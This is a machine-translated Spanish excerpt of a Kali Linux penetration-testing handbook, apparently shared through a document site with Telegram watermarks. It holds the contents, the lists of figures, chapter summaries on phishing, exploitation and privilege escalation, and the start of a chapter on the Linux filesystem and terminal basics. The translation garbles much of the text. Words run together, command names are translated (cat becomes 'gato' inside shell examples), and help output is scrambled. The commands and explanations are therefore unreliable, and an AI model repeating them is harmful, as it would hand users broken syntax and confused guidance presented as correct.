Subido por DilanGame 777

1 5019495186112185360

Anuncio
Machine Translated by Google
Machine Translated by Google
Tabla de contenido
Cubrir
Pagina del titulo
Introducción
¿Que cubre este libro?
CompanionDescargar archivos
Cómo contactar con el editor
Cómo contactar con el autor
CAPÍTULO 1: Dominar la ventana de terminal
KaliLinuxSistema de archivos
Administración de usuarios y grupos en Kali
Gestión de archivos y carpetas en Kali Linux
ConexionesRemotasenKali
Gestión del sistema KaliLinux
Redes en KaliLinux
Resumen
CAPÍTULO 2: BashScripting
BasicBashScripting
Impresión en la pantalla en Bash
Variables
Parámetros de secuencia de comandos
Entrada del usuario
Funciones
Condiciones y bucles
Resumen
CAPÍTULO 3: Exploración de hosts de red
Conceptos básicos de las redes
Escaneo de red
Enumeración DNS
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Resumen
CAPÍTULO 4:Recopilación de información en Internet
Huella pasiva y reconocimiento
Resumen
CAPÍTULO 5: Ataques de ingeniería social
SpearPhishingAtaques
Cargas útiles y oyentes
Ingeniería social con USBRubberDucky
Resumen
CAPÍTULO 6: Fase de enumeración avanzada
Protocolos de transferencia
Protocolos de correo electrónico
Base de datosProtocolos
Protocolos CI/CD
Protocolos web80/443
Protocolos de comunicación remota gráfica
Protocolos para compartir archivos
Resumen
CAPÍTULO 7: Fase de Explotación
Evaluación de vulnerabilidades
ServiciosExplotación
Resumen
CAPÍTULO 8: Vulnerabilidades de aplicaciones web
Vulnerabilidades de aplicaciones web
Resumen
CAPÍTULO 9: Pruebas de penetración web y desarrollo de software seguro
Ciclo vital
WebEnumerationandExploitation
Ciclo de vida de desarrollo de software seguro
Resumen
CAPÍTULO 10: Escalada de privilegios de Linux
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Introducción a las vulnerabilidades del kernel y las configuraciones que faltan
Exploits del núcleo
SUIDEexplotación
Anulación del archivo de usuarios de contraseñas
CRONJobsPrivilegeEscalation sudoers
Explotación de los servicios de ejecución
Scripts automatizados
Resumen
CAPÍTULO 11: Escalada de privilegios de Windows
WindowsSystemEnumerationWindowsSystemEnumeration
Transferencias de archivos
WindowsSistemaExplotación
Resumen
CAPÍTULO 12: Pivote y movimiento lateral
DumpingWindowsHashes
Rotación con redirección de puertos
Resumen
CAPÍTULO 13: Criptografía y cracking hash
Conceptos básicos de la criptografía
Descifrando secretos con Hashcat
Resumen
CAPÍTULO 14: Informes
Descripción general de informes en pruebas de penetración
PuntuaciónGravedades
InformePresentación
Resumen
CAPÍTULO 15: Lenguaje de ensamblaje e ingeniería inversa
Registros de CPU
Instrucciones de montaje
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Tipos de datos
Segmentos de memoria
Modos de direccionamiento
Ejemplo de ingeniería inversa
Resumen
CAPÍTULO 16: Desbordamiento de búfer/pila
Conceptos básicos de StackOverflow
StackOverflowExplotación
Resumen
CAPÍTULO 17: Programación con Python
Conceptos básicos de Python
Ejecutar PythonScripts
Depuración de PythonScripts
PracticandoPython
PythonBasicSyntaxes
Variables
MásTécnicasenPython
Resumen
CAPÍTULO 18: Automatización Pentest con Python
PenetraciónPruebaRobot
Resumen
APÉNDICE A: APÉNDICE A KaliLinuxDesktopataGlance
Descargar y ejecutar una VM de Kali Linux
KaliXfceEscritorio
Resumen
APÉNDICEB:APÉNDICEBConstrucción de un entorno de laboratorio con Docker
DockerTecnología
Resumen
Índice
Derechos de autor
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Sobre el Autor
Acerca del editor técnico
Expresiones de gratitud
Acuerdo de licencia de usuario final
Lista de tablas
Capítulo 1
Tabla 1.1 Métodos abreviados de teclado
Tmux Capítulo 2
Tabla 2.1 Condiciones numéricas
Tabla 2.2 Condiciones de cadena
Tabla 2.3 Condiciones de archivo/directorio
Capítulo 3
Table3.1OSICapas
Tabla 3.2 Subredes y CIDR
Tabla 3.3 Números de puertos comunes
Table3.4NmapVersionIntensity
Capítulo 4
Tabla 4.1 Los criterios de consulta más comunes utilizados en el sitio de Shodan Tabla
4.2 Google Dorks Common Queries
Capítulo 14
Tabla 14.1 Calificación CVSSScore
Capítulo 15
Tabla 15.1 Registros de
banderas Tabla 15.2 Instrucciones de montaje
Tabla 15.3 Instrucciones de salto de montaje
Tabla 15.4 Instrucciones de montaje
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Tabla 15.5 Tipos de datos
Tabla 15.6 Modos de direccionamiento
Capítulo 17
Tabla 17.1 Operadores aritméticos Tabla
17.2 Formateadores de cadenas Tabla
17.3 Funciones de cadenas
Tabla 17.4 Operadores de comparación
Table17.5PythonEscapeCaracteres
Lista de Ilustraciones
Capítulo 1
Figura 1.1 TmuxNewWindow
Figura 1.2 Nueva pestaña resaltada de Tmux
Figura 1.3TmuxVerticalWindowsSidebySide
Figura 1.4 TmuxHorizontalWindows Figura 1.5
KaliLinux OS Security Commands Figura 1.6 Kali Linux:
comandos de archivos y carpetas
Figura 1.7 Montaje USB
Figura 1.8 Montaje mediante la línea de comandos
Figura 1.9 “Inicio de sesión de Windows”
Figura 1.10 SSH con Moba Xterm en Windows
Figura 1.11 Conexión raíz SSH
Figura 1.12 Estado del servicio SSH
Figura 1.13 Generación de claves SSH
Figura 1.14 Comandos de administración del sistema Kali
Figura 1.15H ARRIBA
Figura 1.16 Comandos de red de Kali
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 1.17 Interfaces de red de Kali Figura
1.18 Configuraciones IP estáticas
Figura 1.19 Prueba de la conexión a Internet
Capítulo 2
Figura 2.1 BashScripting
Figura 2.2 ExportConfig
Figura 2.3 Secciones de script
Figura 2.4 Condiciones y bucles
Capítulo 3 Figura 3.1 Protocolo de enlace
TCPH
Figura 3.2 Selección de interfaz de red de Wireshark
Figura 3.3 Captura de Wireshark
Figura 3.4 Filtro ICMP de Wireshark
Capítulo 4
Figura 4.1 Shodan
Figura 4.2 Google Dork Site Filter Figura
4.3 Google Dork Site Filter con descripción Figura 4.4 Google
Hacking Database
Figura 4.5 Menú Kali: recopilación de información
Figura 4.6 MaltegoTransformHub
Figura4.7MaltegoEntities
Figura4.8MaltegoTransforms
Figura4.9MaltegoToDomainsTransform
Figura 4.10 Maltego Nombre de Dominio/DNS
Figura 4.11 Transformaciones de Nombre de
Dominio Figura 4.12 Gráfico Maltego Subdominios
Capítulo 5
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 5.1 Correo electrónico de
administración Figura 5.2 BindShell
Figura 5.3 ReverseShell
Figura5.4VirusTotal
Figura5.5USBRubberDucky
Figura5.6USBRubberDuckyconMicroSD
Figura 5.7 Ejecución de PowerShellinAdminMode
Capítulo 6
Figura 6.1 Portal web de Jenkins
Figura 6.2 Mensaje de error de Jenkins
Figura 6.3 Configuración de red de Firefox
Figura 6.4 KaliMenuÿBurpSuite
Figura 6.5 BurpSuiteProxy Figura
6.6 BurpSuite: envío a repetidor
Figura 6.7 Contenido POST
Capítulo 7
Figura 7.1 OpenVASWebPortal
Figura 7.2 OpenVASNewTarget
Figura 7.3 Opciones de OpenVASTarget
Figura 7.4 Opciones de OpenVASTTask
Figure7.5OpenVASRunATask
Figure7.6OpenVASReportResults
Figure7.7OpenVAS–VulnerabilityResultsSample
Figura 7.8Referencias de OpenVASÿReport
Figura 7.9GoogleSearchforExploit Figura
7.10FileZillaFTPConnect
Figura7.11FileZillaFTPConnectionEstablished
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 7.12 Búsqueda de Google: FTP Exploit
Figura 7.13 Selección de interfaz de Wireshark
Figura 7.14 Resultados de captura de Wireshark
Figura 7.15 Wireshark: Seguir transmisión de TCP Figura
7.16 Wireshark: Captura de texto transparente Figura 7.17
Configuración de recepción de correo electrónico
Figura 7.18 Configuración de envío de correo electrónico
Figura 7.19 Bandeja de entrada
de correo electrónico Figura 7.20
DockerHostDesign Figura 7.21 Página de inicio de Jenkins
Figura 7.22Jenkins-Nuevo proyecto
Figura 7.23 Jenkins–AddBuildStep Figura 7.24
Jenkins–ReverseShell
Figura 7.25 SMBConnect
Figura 7.26 Conexión SMB establecida
Capítulo 8
Figura 8.1 Página de inicio de Mutillidae
Figura 8.2 Búsqueda de DNS de Mutillidae
Figura 8.3 Mutillidae–ScriptAlert
Figura 8.4 Mutillidae–BlogEntry
Figura 8.5 Troncos de Mutillidae
Figura 8.6 Burpsuite–ProxyIntercept Figura
8.7BurpSuite–UserÿAgentEditar
Figura 8.8 Mutillidae: mensaje de error de BadCharacters
Figura 8.9BurpSuite–InterceptPayload
Figura 8.10 BurpSuite–TargetHostScript Figura 8.11
Tabla de cuentas
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 8.12 AccountsTableÿSQLQuery
Figura 8.13 Iniciar sesión SQLi
Figura 8.14 Inicio de sesión SQLiQuery
Figura 8.15 Resultados de LoginSQLi
Figura 8.16 Mutillidae–LoginSQLi Figura 8.17
Mutillidae– Resultados de LoginSQLi
Figura 8.18Sintaxis de SQLiÿUnionSelect
Figura 8.19 SQLi: selección de unión
Figura 8.20 SQLi: selección de unión con versión de base de
datos Figura 8.21 Tabla de esquema: campo de tarjetas de crédito
Figura 8.22 Consulta de tabla de tarjetas de crédito
Figura 8.23 Extraer datos de tabla de tarjetas de crédito
Figura 8.24 SQLQuery–Escribir en el sistema
Figura 8.25 Error de SQLi
Figura 8.26 Mutillidae: inyección de comandos
Figura 8.27 Mutillidae: extracción de archivo de contraseña
Figura 8.28 Mutillidae: inclusión de archivo remoto Figura
8.29 Página de blog de Mutillidae
Figura 8.30 BurpSuite: generar CSRFPoC
Figura 8.31 BurpSuite: generar CSRFCopyHTML
Figure8.32CSRFPoCVictim
Figure8.33CSRFPoCResults
Figure8.34MutillidaeFileUpload
Figura 8.35Mutillidae–FileUploadResults
Figura 8.36 Carga de archivos POSTData
Figura 8.37 Carga de archivos Post Data Cargas útiles
Figura 8.38 BurpSuite–InterceptHexTab
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 8.39 Capítulo 9 de codificación
de BurpSuite
Figura 9.1 Certificado de BurpSuite
Figura 9.2 Importación del certificado de Burp Suite
Figura 9.3 Ficha Proxy de Burp Suite, sección Opciones
Figura 9.4 Objetivo de BurpSuite
Figura 9.5 Opción BurpSuiteAddToScope
Figura 9.6 BurpSuiteInÿScopeFilter Figura
9.7BurpSuiteInÿScopeFilterAplicado
Figura9.8BurpSuiteDiscoverContentMenuItem
Figura 9.9BurpSuiteRunningDiscoverContentFeature
Figura 9.10 BurpSuiteActiveScan Figura
9.11 Elemento de menú Enviar a repetidor de Burp Suite Figura
9.12 Cambio del parámetro UID
Figura 9.13 Subficha BurpSuiteIntruderPositions
Figura 9.14 BurpSuiteIntruderPayload Figura
9.15BurpSuiteIntruderPayloadOption Figura
9.16BurpSuiteIntruderAttack
Figura 9.17 Ficha Extensor de BurpSuite
Figura 9.18BAppStore
Figura 9.19 Creación de informes en Burp Suite
Figura 9.20 Ejemplo de informe en Burp Suite
Figura 9.21 Ciclo de vida de desarrollo de software
Figura 9.22 Ciclo de vida de desarrollo seguro
Figura 9.23 Diagrama de red Figura
9.24 Diagrama de flujo de datos
Capítulo 10
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 10.1 Búsqueda de Google: capítulo 11 de
DirtyCOWExploit
Figura 11.1 Permisos de Windows
Figura 11.2 Respaldo de Iperius
Figura 11.3 Pestaña Acerca de Iperius
Figura 11.4 ExploitÿDB–IperiusExploitation
Figura 11.5 Iperius–Evil.batConfig
Capítulo 12
Figura 12.1 Reenvío de puertos
Figura 12.2 Diagrama de red ECorp
Capítulo 13
Figura 13.1 Herramienta
RSA Capítulo 14 Figura 14.1
Calculadora CVSS
Figura 14.2 Resultados CVSS
Capítulo 15
Figura 15.1 Registros generales de CPU
Figura 15.2 Registros de índice
Figura 15.3 Registros de puntero
Figura 15.4 Registros de segmento
Figura 15.5 Segmentos de memoria
Figura 15.6 Inmunidad en pausa
Figura 15.7 Instrucciones de la función principal
Figura 15.8 Seguimiento en volcado
Figura 15.9 Ventana de volcado de memoria
Figura 15.10 Menú de mapa de memoria
Figura 15.11 Ventana de mapa de memoria
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 15.12 HelloWorld.text
Figura 15.13 Registros
Figura 15.14 Pila
Capítulo 16
Figura 16.1 Punteros de pila
Figura 16.2PUSHEBP
Figura 16.3 Depurador de inmunidad, apertura de un archivo
Figura 16.4 Depurador de inmunidad, botón Ejecutar
Figura 16.5 Mensaje de error
Figura 16.6 Estructura de pila
Figura 16.7 Llenar el búfer con As
Figura 16.8 Desbordamiento de pila con A, B y C Capítulo
17 Figura 17.1 Ejecución de VSCode
Figura 17.2 Extensión de Python
Figura 17.3 Pylint
Figura 17.4 Depuración
Figura 17.5 Salida
Capítulo 18
Figura 18.1 Flujo de trabajo de la aplicación
Apéndice A
Figura A.1 Elija Kali/Linux en el menú Cargar Figura A.2
Opción de instalación de Xfce
FiguraA.3KaliDesktop
Figura A.4 Menú Kali Figura
A.5 Eliminar de favoritos Figura A.6 Agregar
a favoritos
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.7KaliMenuTools
FiguraA.8KaliSettingsMenu
Figura A.9 Administración de la red
Figura A.10 KaliDarkTheme Figura A.11
DesktopIcons Figura A.12 Cambio de
fuentes
Figura A.13 Configuración de apariencia
Figura A.14 Cambiar el fondo del escritorio
Figura A.15 Configuración del menú
Figura A.16 Menú de aplicaciones
Figura A.17 Gestión de espacios de trabajo
Figura A.18 Configuración de iconos
Figura A.19 Configuración de pantalla
Figura A.20 Configuración avanzada de pantalla
Figura A.21 KaliFileManager
Figura A.22 Preferencias del Administrador de archivos
Figura A.23 Comportamiento del Administrador de archivos
Figura A.24 Configuración avanzada del Administrador de archivos
Figura A.25 Configuración del teclado
Figura A.26 Accesos directos de aplicaciones
Figura A.27 Editor de tipos MIME
Figura A.28 Configuración del mouse
Figura A.29 Barra superior
Figura A.30 Configuración del panel
Figura A.31 Configuración de la apariencia del panel
Figura A.32 Posición de los elementos del panel
Figura A.33 Espacios de trabajo
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.34 Administrador de ventanas
Figura A.35 Métodos abreviados de teclado de Windows
Figura A.36 Ajustes de enfoque de ventana
Figura A.37 Configuración del panel
Figura A.38 Cambios en el panel superior
Figura A.39 Adición de un panel
Figura A.40 Configuración del nuevo panel
Figura A.41 Agregar al panel
Figura A.42 Resultados finales
Figura A.43 Configuración de escritorio
Figura A.44 Escritorio Fondo
FiguraA.45IconsSettings
FiguraA.46DesktopNewLook
FiguraA.47GraphicalInstall
Figura A.48 Idioma
Figura A.49 Nombre de host
Figura A.50 Nombre completo de
usuario Figura A.51 Contraseña de usuario
Figura A.52 Discos de partición Paso 1
Figura A.53 Discos de partición Paso 2
Figura A.54 Discos de partición Paso 3 Figura
A. 55 Discos de partición Paso final Figura A. 56
Selección de software
Figura A.57 Cargador GRUB
Figura A.58 Instalación Realización
Apéndice B
Figura B.1 Comandos de Docker
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura B.2 DockerContainer Figura de ejemplo
B.3 MutillidaeDBInit
Figura B.4 Página de inicio de Mutillidae
Canal de Telegram : @IRFaraExam
Machine Translated by Google
KaliLinuxPenetraciónPruebas
Biblia
GusKhawaja
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Introducción
Kali es una distribución popular de Linux utilizada por profesionales de la seguridad y se
está convirtiendo en una herramienta importante para el uso diario y para las certificaciones.
KaliLinux Penetration Testing Bible es una guía práctica para sacar el máximo partido de Kali
Linux para realizar pruebas de penetración. Este libro está destinado a profesionales de la
ciberseguridad que trabajan en roles ofensivos y prácticos, incluidos los miembros del equipo
rojo, los hackers de sombrero blanco y los hackers éticos.
Este completo libro de pruebas de penetración cubre todos los aspectos del corazón y la ciencia
de las pruebas de penetración. Cubre temas como la creación de un entorno Dockerizado
moderno, los conceptos básicos del lenguaje bash en Linux, la búsqueda de vulnerabilidades
de diferentes maneras, la identificación de falsos positivos y los flujos de trabajo prácticos de
las pruebas de penetración.
Al leer este libro, usted:
Obtenga una comprensión profunda de los cientos de herramientas de prueba de
penetración disponibles en Kali Linux.
Domine toda la gama de técnicas de hacking ético para que pueda ser más eficaz en
su trabajo y obtener las codiciadas certificaciones.
Aprenda cómo funcionan las pruebas de penetración en la práctica y llene los vacíos en su conocimiento
para convertirse en un experto en pruebas de penetración.
Descubre las herramientas y técnicas que utilizan los hackers para potenciar las defensas
de tu red.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
¿Que cubre este libro?
Este libro profundiza en el tema de las pruebas de penetración. Para los probadores
de penetración establecidos, este libro llena todos los vacíos prácticos, por lo que
tiene un recurso completo que lo ayudará a medida que avanza su carrera.
Capítulo 1: Dominar la ventana del terminal
Este capítulo describe el interior y el exterior de la ventana Terminal del sistema Linux y
muestra cómo administrar el sistema de archivos como los profesionales. Aprenderá
cómo administrar usuarios y grupos dentro de Kali, y verá cómo manipular archivos y
carpetas durante sus compromisos y mucho más.
Capítulo 2: Bash Scripting Bash
scripting es una habilidad esencial para un probador de penetración. En este
capítulo aprenderá cómo comenzar a usar principios de programación tales como
variables, funciones, condiciones, bucles y mucho más.
Capítulo 3: Exploración de hosts de red
Este capítulo le enseña cómo realizar exploraciones de red como profesionales. Primero
aprenderá sobre los aspectos básicos de las redes y luego profundizará en las técnicas
de exploración de puertos.
Capítulo 4: Recopilación de información en Internet
En este capítulo se analiza la fase de recopilación pasiva de información en las pruebas
de penetración. Se le presentará cómo manejar las consultas avanzadas del motor de
búsqueda. Además, aprenderá a usar Shodan y otras herramientas para hacer el
trabajo.
Capítulo 5: Ataques de ingeniería social
Este capítulo se centra en cómo aprovechar la debilidad humana para explotar las
organizaciones. Aprenderá cómo enviar correos electrónicos de phishing y robar
credenciales. Además, verá cómo usar Social Engineer Toolkit como un probador de
penetración.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
ataques similares.
Capítulo 6: Fase de enumeración avanzada
Esta revisión del capítulo muestra cómo manejar la fase de enumeración en un
compromiso de prueba de penetración. La enumeración significa recopilar la información
necesaria que nos permitirá explotar el servicio específico (por ejemplo, FTP, SSH, etc.).
Capítulo 7: Fase de explotación Este
capítulo analiza algunos ataques reales y le muestra cómo ingresar a los
sistemas. En los capítulos anteriores, tenía toda la información sobre cada
servicio, y en este, daremos un paso más y explotaremos las vulnerabilidades.
Capítulo 8: Vulnerabilidades de las aplicaciones
web Este capítulo se enfoca en los aspectos básicos de las
vulnerabilidades de las aplicaciones web.
Capítulo 9: Pruebas de penetración web y ciclo de vida de desarrollo de
software seguro En este capítulo, aprenderá principalmente sobre la
metodología de las pruebas de penetración de aplicaciones web y cómo usar
BurpSuite Pro. Finalmente, verá cómo implementar un ciclo de vida de desarrollo
de software seguro (SSDLC) en una organización.
Capítulo 10 : Escalada de privilegios de
Linux Este capítulo se centra principalmente en la escalada de
privilegios del sistema operativo Linux.
Capítulo 11: Escalada de privilegios de Windows
Este capítulo describe cómo el administrador administra los privilegios del
sistema operativo Windows comprometido.
Capítulo 12: Pivote y movimiento lateral
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Este capítulo describe cómo usar la técnica de pivote para moverse
lateralmente en la red comprometida.
Capítulo 13: Criptografía y cracking hash
En este capítulo se describe cómo descifrar hashes durante sus
compromisos con Hashcat.
Capítulo 14 : Informes Este
capítulo explica cómo presentar informes de pruebas de penetración profesionales.
Además, aprenderá a evaluar con precisión la gravedad de sus hallazgos.
Capítulo 15 : Lenguaje ensamblador e ingeniería inversa Este capítulo le presentará
el concepto de ingeniería inversa utilizando el lenguaje ensamblador. Aprenderá
los conceptos básicos del lenguaje ensamblador, incluidos los registros, las
instrucciones de ensamblado, los segmentos de memoria y mucho más.
Capítulo 16: Desbordamiento de búfer/ pila Este
capítulo usará lo que aprendió en el capítulo anterior para explotar la pila
usando la técnica de desbordamiento de búfer.
Capítulo 17 : Programación con Python Este capítulo analiza
los aspectos básicos de la versión 3 de Python. Este lenguaje de programación es la
elección de los piratas informáticos, por lo que usted también debe aprenderlo.
Capítulo 18 : Automatización de Pentest con Python Este
capítulo se centra en la automatización de las fases de prueba de penetración
utilizando el lenguaje Python. Verá un ejemplo práctico completo que puede
utilizar en su carrera.
Apéndice A: KaliLinuxDesktopataGlance
Este apéndice se enfoca en cómo administrar la interfaz del entorno de
escritorio Kali Linux. Aprenderá cómo manejar este sistema operativo con
facilidad y personalizarlo a su gusto.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Apéndice B: Creación de un entorno de laboratorio con Docker
Este apéndice profundizará en Docker y verá cómo funcionan las imágenes y los
contenedores en la práctica.
CompanionDescargar archivos
A medida que trabaje con los ejemplos de este libro, puede optar por escribir todo
el código manualmente o utilizar los archivos de código fuente que acompañan al libro.
Todo el código fuente utilizado en este libro está disponible para su descarga
desde www.wiley.com/go/kalilinuxpenbible .
Cómo contactar con el editor
Si cree que ha encontrado un error en este libro, háganoslo saber. En John Wiley
& Sons, comprendemos lo importante que es proporcionar a nuestros clientes un contenido
preciso, pero incluso con nuestros mejores esfuerzos, es posible que se produzca un error.
ocurrir.
Para enviar su posible errata, envíela por correo electrónico a nuestro equipo de
servicio al cliente [email protected] con el asunto “Posible envío de erratas
de libros”.
Cómo contactar con el autor
¡Agradecemos sus comentarios y preguntas acerca de este libro !
[email protected] ,
Canal de Telegram : @IRFaraExam
Machine Translated by Google
CAPÍTULO 1
Dominar la ventana de la terminal
KaliLinux se puede resumir en dos palabras sencillas: ventana de terminal. Si
domina las habilidades de la ventana de terminal, entonces será uno de esos
hackers éticos.
Si ya sabe cómo administrar la ventana terminal, use este capítulo como referencia,
o puede repasarlo rápidamente en caso de que haya algo nuevo que no haya
aprendido antes. El objetivo principal de este capítulo no es solo mostrarle los
comandos de Kali Linux, sino ayudarlo a comprenderlo profundamente a través de
ejemplos prácticos.
KaliLinux es un sistema operativo basado en Debian desarrollado por Offensive Security,
por lo que si está acostumbrado a Ubuntu, por ejemplo, los comandos en la ventana del
terminal se verán iguales ya que Debian y Kali comparten una distribución igual.
Esto es lo que cubre este capítulo:
KaliLinuxsistema de archivos
Conceptos básicos de la ventana de terminal
Administrar usuarios y grupos
Manipulación de archivos y carpetas
Gestión de conexiones remotas
Gestión del sistema KaliLinux
Manejo de redes en KaliLinux
KaliLinuxSistema de archivos
La comprensión de la estructura del sistema de archivos en Kali Linux es
crucial.
En Windows, el directorio raíz es C:\ pero ,en Kali Linux, es una barra hacia adelante
( / ). No confunda el término directorio raíz con el directorio principal del usuario raíz,
que es /root porque
, son dos cosas diferentes; el último es el directorio principal
Canal de Telegram : @IRFaraExam
Machine Translated by Google
directorio para el usuario raíz. Hablando sobre el usuario raíz, es esencial
comprender que este usuario es el equivalente al usuario administrador en los sistemas
operativos Windows .
Para obtener una representación visual de los directorios del sistema de archivos de Kali
Linux, abra la ventana del terminal y ejecute el comando ls para enumerar el contenido
del directorio del sistema raíz. Tenga en cuenta que, de manera predeterminada, estará
en el directorio de inicio del usuario .
kali@kali:~$cd/
kali@kali:/$ls
binbootdevetchomeinitrd.imginitrd.img.oldliblib32lib64libx32lost+foundmediamntoptprocrootrunsbinsrvsystmpusr
/bin (binarios): este directorio contiene binarios de Linux como el comando ls que
ejecutamos anteriormente.
/sbin (binarios del sistema): este directorio contiene archivos binarios del sistema que
funcionan como comandos administrativos (p. ej., fdisk ). / boot : este directorio contiene
los archivos del gestor de arranque de Linux. / dev (dispositivos): este directorio contiene
los archivos de configuración del dispositivo (por ejemplo, /dev/null ).
/ sys : Esto es similar a / dev y
drivers.
, que contiene configuraciones sobre dispositivos
/ etc (etc.): este directorio contiene todos los archivos del sistema de administración
(p. ej., /etc/passwd muestra todos los usuarios del sistema en Kali). / lib (bibliotecas):
este directorio contiene las bibliotecas compartidas para los binarios dentro de /bin y /
sbin
.
/ proc (procesos): este directorio contiene los procesos y los archivos de
información del núcleo.
/ lost+found :Como su nombre lo dice, este directorio contiene los archivos que han
sido recuperados.
/ mnt (montar): este directorio contiene los directorios montados (por ejemplo, un recurso
compartido de archivos remoto).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
/ media : este directorio contiene los directorios montados en medios extraíbles (por ejemplo,
DVD). / opt (opción): este directorio se usa para la instalación de paquetes de software
complementarios. / tmp (temporal): esta es una carpeta temporal que se usa temporalmente;
el contenido se borra después de cada reinicio. / usr (usuario): Este directorio contiene muchos
subdirectorios. De hecho, /usr/share es una carpeta que necesita memorizar porque la mayoría de
las herramientas que usa en KaliLinux (p. ej., Nmap, Metasploit, etc.) están almacenadas allí, y
contiene los archivos de diccionario de listas de palabras ( /usr/share/wordlists/ ).
/ home :Este es el hogar para los usuarios de KaliLinux (por ejemplo, /home/john/ ).
/ root :Esteeseldirectorioprincipaldelusuarioraíz. / srv
(servir): esta carpeta contiene algunos datos relacionados con las funcionalidades del
servidor del sistema (por ejemplo, datos para servidores FTP).
/ var (variable): esta carpeta contiene datos variables para bases de datos, registros y sitios
web . Por ejemplo, /var/www/html/ contiene los archivos para el servidor web Apache.
/ ejecutar (tiempo de ejecución): este directorio contiene datos del sistema de tiempo de ejecución (por ejemplo, usuarios
registrados actualmente).
TerminalWindowComandos básicos
Hay muchos comandos comunes que usamos como probadores de penetración a diario. Muchos de estos
comandos se enumerarán en las próximas secciones o más adelante en este libro. En esta sección, verá
todas las herramientas estándar generales que yo personalmente uso con frecuencia. También aprenderá
los comandos básicos identificados para uso general.
Primero, para abrir la ventana del terminal desde el escritorio, puede usar la combinación de teclas Ctrl +
Alt + T en lugar de abrir la aplicación desde su icono usando el
cursor del ratón.
Si desea obtener ayuda para cualquier comando que desea ejecutar, simplemente agregue - h o - - ayuda
(algunos comandos requieren que use solo uno de ellos). Por ejemplo, si desea ver las diferentes opciones
para el comando cat , simplemente escriba
Canal de Telegram : @IRFaraExam
Machine Translated by Google
catÿÿhelp en la ventana de su terminal para obtener toda la ayuda necesaria con respecto a esto
herramienta. En el siguiente comando ( catÿh ), verá que la opción ÿh no funciona
para el comando cat . En su lugar, utilicé la opción ÿ ÿhelp . (El comando cat es
se utiliza con frecuencia para mostrar el contenido de un archivo de texto en la ventana del terminal.)
kali@kali:~$gato-h
cat:invalidoption--'h'
Try'cat--help'formoreinformation.
kali@kali:~$gato--ayuda
Uso:gato[OPCIÓN]…[ARCHIVO]…
ConcatenarARCHIVO(s)a la salida estándar.
Sin ARCHIVO, o cuando ARCHIVO es
-A,--show-all-b,-number-nonblank
-,
leer entrada estándar.
equivalente a FP
numbernonemptyoutputlines,overrides-
norte
-Y
equivalentto-vE
mostrar$atendofeachline
numerotodaslassalidaslineas
suprimir líneas de salida vacías repetidas
equivalente a-vT
-T,--mostrar pestañas
mostrarTABcaracteres como^I
-tu
(ignorado)
-v,--show-nonprintinguse^andM-notation,exceptforLFDand
-E,--mostrar-termina-n,-número-s,--apretar-t en
blanco
PESTAÑA
--helpmostrarestaayudaysalir
--versionoutputversioninformationandsalir
Ejemplos:
catf-gOutputf'scontents,thestandardinput,theng's
contenido.
gato
Copie la entrada estándar en la salida estándar.
GNUcoreutilsonlinehelp:<https://
www.gnu.org/software/coreutils/>
Documentación completa en: <https://www.gnu.org/software/coreutils/cat>
o disponible localmente a través de: info'(coreutils)catinvocation'
Para borrar el texto de la ventana del terminal, ejecute el comando borrar o presione Ctrl +L
hacereltrabajo.
Para abrir una nueva pestaña de ventana de terminal, desde su sesión de terminal actual, presione
Ctrl+Mayús+T.
Para completar la entrada (p. ej., un nombre de archivo o un nombre de comando) automáticamente, utilizo
Canal de Telegram : @IRFaraExam
Machine Translated by Google
la tecla Tabulador. ¿Qué sucede si varios archivos comienzan con el mismo texto? Luego, si
presiona el tabulador dos veces, la ventana de la terminal mostrará todas las opciones en su
lugar. (La mejor manera de entender este capítulo es abrir la ventana de la terminal y practicar
mientras lee las instrucciones).
Veamosunejemplo.Enmidirectorioprincipal ,tengodosarchivos ,
. ymemuestracat .
prueba.txt
, test.shypresionoTabuladorunavez ,
prueba. .
dos veces, y me muestra la lista de archivos en el directorio actual. Finalmente, puedo
abrir el archivo deseado, que es test.txt :
root@kali:~#catprueba.
Test.shtest.txt raíz @ kali: ~ prueba
cattest.txt
Para detener la ejecución de cualquier herramienta mientras se está ejecutando, puede usar el atajo de
teclado Ctrl+C para detenerla.
Para salir de la ventana del terminal y cerrarla, utilice el comando de salida o presione Ctrl +D
para realizar el trabajo.
Para reiniciar KaliLinux desde la ventana del terminal, debe usar el comando de
reinicio, y para apagarlo, debe usar el comando de apagado.
Ahora, para obtener la lista de comandos ejecutados recientemente, tendrá que usar el
comando history .
En Linux, debe comprender que usamos muchas direcciones en la ventana de la
terminal. Por ejemplo, para guardar la salida del comando ls en un archivo, puedo
redirigir la salida de la ventana de la terminal a un archivo de texto usando el carácter
> (mayor que):
kali@kali:~$ls>ls_file.txt
kali@kali:~$catls_file.txtEscritorio Documentos
Descargas ls_file.txt Música Imágenes Público
Plantillas Vídeos
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Ahora, puede hacer lo contrario redirigiendo (imprimiendo) el contenido del archivo de
texto a la ventana del terminal usando el carácter < (menor que):
kali@kali:~$cat<ls_file.txtEscritorio
Documentos Descargas ls_file.txt Música
Imágenes Público Plantillas Vídeos
Otra redirección que debe tener en cuenta es la canalización de comandos. En
resumen, puede combinar la salida de cada comando y enviarla al siguiente
mediante el comando | personaje:
$comando1|comando2|comando3…
Por ejemplo, leeré un archivo, luego ordenaré los resultados y finalmente usaré el comando
grep para filtrar algunas cadenas de texto (el objetivo es extraer los archivos que comienzan
con la palabra prueba):
kali@kali:~$catls_file.txt|sort|greptest prueba.sh prueba.txt
TmuxTerminalVentana
